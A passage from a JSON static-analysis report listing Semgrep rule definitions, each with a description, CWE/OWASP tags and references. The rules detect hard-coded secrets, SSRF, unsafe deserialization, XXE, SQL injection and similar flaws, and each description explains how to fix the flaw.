detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","id":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","name":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/nategood/httpful](https://github.com/nategood/httpful)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","id":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","name":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3","id":"python.lang.compatibility.python37.python37-compatibility-importlib3","name":"python.lang.compatibility.python37.python37-compatibility-importlib3","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","id":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","name":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"help":{"markdown":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key)\n - [https://rules.sonarsource.com/javascript/RSPEC-2068](https://rules.sonarsource.com/javascript/RSPEC-2068)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management)\n","text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","id":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","name":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","id":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","name":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"help":{"markdown":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true)\n - [https://ajv.js.org/options.html#allerrors](https://ajv.js.org/options.html#allerrors)\n","text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"helpUri":"https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","id":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","name":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role","id":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","name":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","id":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","name":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-command.dangerous-exec-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","id":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","name":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","id":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","name":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password","id":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","name":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"help":{"markdown":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings](https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings)\n","text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection","id":"cpp.lang.security.format-string.format-string-injection.format-string-injection","name":"cpp.lang.security.format-string.format-string-injection.format-string-injection","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.format-string.format-string-injection.format-string-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","id":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","name":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection","id":"php.laravel.security.laravel-code-injection.laravel-code-injection","name":"php.laravel.security.laravel-code-injection.laravel-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-code-injection.laravel-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle","id":"python.lang.security.deserialization.pickle.avoid-pickle","name":"python.lang.security.deserialization.pickle.avoid-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli","id":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","name":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.sqli.csharp-sqli.csharp-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe Restricted API Key detected"},"help":{"markdown":"Stripe Restricted API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe Restricted API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","id":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","name":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"help":{"markdown":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect)\n - 